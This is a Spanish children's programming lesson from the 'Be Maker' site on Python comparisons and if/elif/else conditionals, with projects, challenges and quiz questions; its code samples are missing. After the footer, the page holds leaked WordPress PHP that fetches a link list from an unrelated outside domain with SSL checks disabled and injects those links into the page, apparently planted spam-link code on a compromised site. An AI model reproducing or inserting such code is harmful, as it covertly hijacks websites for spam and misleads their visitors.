Be Maker

Loading...

Be Maker

Curso de Invierno Python – Arduino

LECCIÓN 03 – ¡Tomando Decisiones con la Computadora!

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto, desafío o reto publicado en el MakerSpace💰

👋 ¡Hola, exploradores de la programación!

💡¿Sabías que los videojuegos, los robots y las aplicaciones toman decisiones todo el tiempo? En esta lección, aprenderemos a programar decisiones en Python con comparaciones y condicionales.

🚀 3.1 Operadores Relacionales: Comparando Valores

💡 Los operadores relacionales comparan dos valores y responden con "Verdadero" o "Falso".

📌 Tabla de operadores relacionales:

🧪 Experimento 01: Comparaciones

10

🔬 Explicación:

Observamos que en la pantalla se muestra el mensaje True y después False, que significa que la primera comparación es verdadera o cierta y la segunda es falsa o mentira.

🚀 3.2 Condicionales: Si Esto Pasa, Haz Esto

💡 Un condicional "if" le dice a la computadora: "Si esta condición es verdadera, haz estas instrucciones".

robot-if

🔎 Ejemplo:

☔ Si llueve, llevamos paraguas. 

🎁 Si es tu cumpleaños, te dan regalos.

🛸 Proyecto 1: Votar en Elecciones

 📌 ¿Qué pasó?

Si la condición es verdadera (edad es mayor o igual a 18), el programa muestra el mensaje: "¡Puedes votar en las elecciones!". ¿Qué pasaría si cambias el valor de edad a 10?

🛸 Proyecto 2: Día de Cine

 📌 ¿Qué pasó?

Si la condición es verdadera (respuesta es igual a "si"), el programa muestra el mensaje: "Puedes ingresar al cine." ¿Qué pasaría si cambias la respuesta a no?

🛠️Desafío 1: Demuestra lo Aprendido

➡️ Estás frente a un puente mágico que solo permite pasar a quienes tienen más de 13 años. Escribe un programa que pregunte la edad del usuario y le diga si puede cruzar el puente.

💻 Resultado:

🚀 3.3 Operadores Lógicos: Combinando Condiciones

💡 Los operadores lógicos permiten combinar varias condiciones en una sola.

🛸 Proyecto 3: Protector Solar

 📌 ¿Qué pasó?

Pregunta si la temperatura es mayor a 30 grados y si esta temperatura es menor a 40 grados, en caso de cumplir ambas condiciones nos muestra el mensaje: ¡Hace calor! Usa protector solar.

🛸 Proyecto 4: El Dragón Amigable

 📌 ¿Qué pasó?

Vimos en la pantalla el mensaje ¡El dragón te deja pasar!, siempre y cuando respondamos si en una de las opciones.

🛠️ Desafío 2: Demuestra lo Aprendido

➡️ Una puerta solo se abre si no tienes una llave. Escribe un programa que pregunte si tienes una llave y diga si la puerta se abre, para esta misión debes utilizar el operador lógico not.

💻 Resultado:

🚀 3.4 Condicionales If/Else: Dos Opciones

💡 Con else, podemos decirle al programa qué hacer si la condición dentro de if es falsa.

01

🛸 Proyecto 5: Hora de Dormir

18

 📌 ¿Qué pasó?

Dependiendo de la respuesta nos muestra un mensaje: ¡Ve a dormir!, si tenemos sueño o ¡Sigue jugando!, si no tenemos sueño.

🛠️ Desafío 3: Demuestra lo Aprendido

➡️ Un reloj mágico te pide la hora actual. Si es de día (6 a 18), dice "¡Es de día!". Si no es así, dice "¡Es de noche!". Escribe un programa que pida la hora (0-23) y diga si es de día o de noche.

🚀 3.5 Condicionales If/Elif/Else: Más Opciones

💡 ¿Qué pasa si hay más de dos opciones? Podemos usar elif (que significa "si no, prueba esto").
02

🛸 Proyecto 6: ¿Qué Nota Sacaste?

 📌 ¿Qué pasó?

Este código muestra un mensaje según la nota del examen, eso significa que ahora tenemos 3 opciones o mensajes que se mostrarán dependiendo de la nota del examen.

🛠️ Desafío 4: Demuestra lo Aprendido

➡️ Tienes un mapa que te da tres opciones: ir a la izquierda, derecha o adelante. Escribe un programa que pida una dirección y diga qué encuentras:

1️⃣ izquierda: Encuentras un río.

2️⃣ derecha: Encuentras una cueva.

3️⃣ adelante: Encuentras el tesoro.

💻 Resultado:

🎯 Resumen de la Lección 03

⚔️¡Estamos listos, a construir!⚔️

💰Recompensa: 20 bCoins y 10 Gemas de Experiencia por cada reto resuelto💰

📝 Responde en tu Cuaderno 

🔥 Pregunta 01: Completa el Código:

1️⃣ Completa este código para que si el número es par, imprima "Es par", y si no, imprima "Es impar".

🛟 Recuerda: El operador matemático % sirve para encontrar el residuo de un número, por ejemplo: 3 % 2 = 1. Significa que el residuo de 3 dividido entre 2 es 1.

🔥 Pregunta 02: Verdadero o Falso

1️⃣ "if" sirve para tomar decisiones.
2️⃣ "if" solo funciona con números.
3️⃣ Un "if" siempre debe ir acompañado de un "else".
4️⃣ Las instrucciones dentro de "if" se ejecutan solo si la condición es verdadera.
5️⃣ "else" siempre necesita ir después de un "if".
6️⃣ En un "if/else", ambas condiciones pueden ser verdaderas al mismo tiempo.
8️⃣ 5>3 and 2<4
9️⃣ 1==2 or 3>1
🔟 not 5==5

🔥 Pregunta 03: Razona

1️⃣ ¿Qué pasa si comparas 5 == "5"? ¿La comparación es verdadera o falsa? ¿Porqué?

💻 Programa en tu Computadora

🔥 Reto 01:

Estás frente a un puente mágico que solo permite pasar a quienes tienen más de 7 años. Escribe un programa que pregunte la edad del usuario y le diga si puede cruzar el puente.

💻 Resultado:

🔥 Reto 02:

Un guardián te pide resolver un acertijo: «Si un número es menor que 20, te dejará pasar». Escribe un programa que pida un número y diga si puedes pasar.

💻 Resultado:

🔥 Reto 03:

Escribe un programa que pida un número y diga si es par o impar (usa % para verificar si el residuo es 0).

💻 Resultado:

🔥 Reto 04:

Un guardián protege un puente. Solo deja pasar a quienes responden correctamente a sus preguntas. Si la respuesta es "dragón", el aventurero puede pasar. Si no, debe regresar.

💻 Resultado:

🔥 Reto 05:

Una poción mágica cambia de color según los ingredientes. Si se mezclan "pluma de fénix" y "escama de dragón", la poción se vuelve dorada. Si solo se usa "pluma de fénix", se vuelve plateada. Si no se usa ninguno, se vuelve transparente.

💻 Resultado:

🔥 Reto 06:

Un laberinto mágico solo se abre si introduces un número que cumple ciertas condiciones. Si el número es mayor que 10 y menor que 20, la puerta se abre. Si es igual a 5 o 15, también se abre.

💻 Resultado:

🔥 Reto 07:

Crea un programa que pida una letra y diga si es una vocal o una consonante.

💻 Resultado:

🔥 Reto 08:

Haz un programa que pida un nombre y diga "¡Hola, [nombre]!" si el nombre no es «admin», utilizar not.

💻 Resultado:

🔥 Reto 09:

Crea un programa que pida una contraseña y diga "Acceso concedido" si es "python123" o "programar".

💻 Resultado:

🔥 Reto 10:

Crear un programa que detecte días laborales, fines de semana y también feriados.

💻 Resultado:

🔥 Reto 11:

Una máquina mágica crea pociones según el número que ingreses. El número 1 crea una poción de invisibilidad, el 2 una poción de fuerza, y el 3 una poción de vuelo

💻 Resultado:

🔥 Reto 12:

Un robot entrega mensajes según el código que recibe. El código "a" entrega un mensaje de amistad, "b" un mensaje de ayuda, y "c" un mensaje de alerta

💻 Resultado:

💀 Reto Extra: Solo para los más intrépidos y osados.

💰Recompensa Adicionale: 50 bCoins y 15 Gemas de Experiencia💰

Una calculadora mágica realiza operaciones según el símbolo que ingreses. "+" suma, "-" resta, "*" multiplica, "/" divide

💻 Resultado:

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }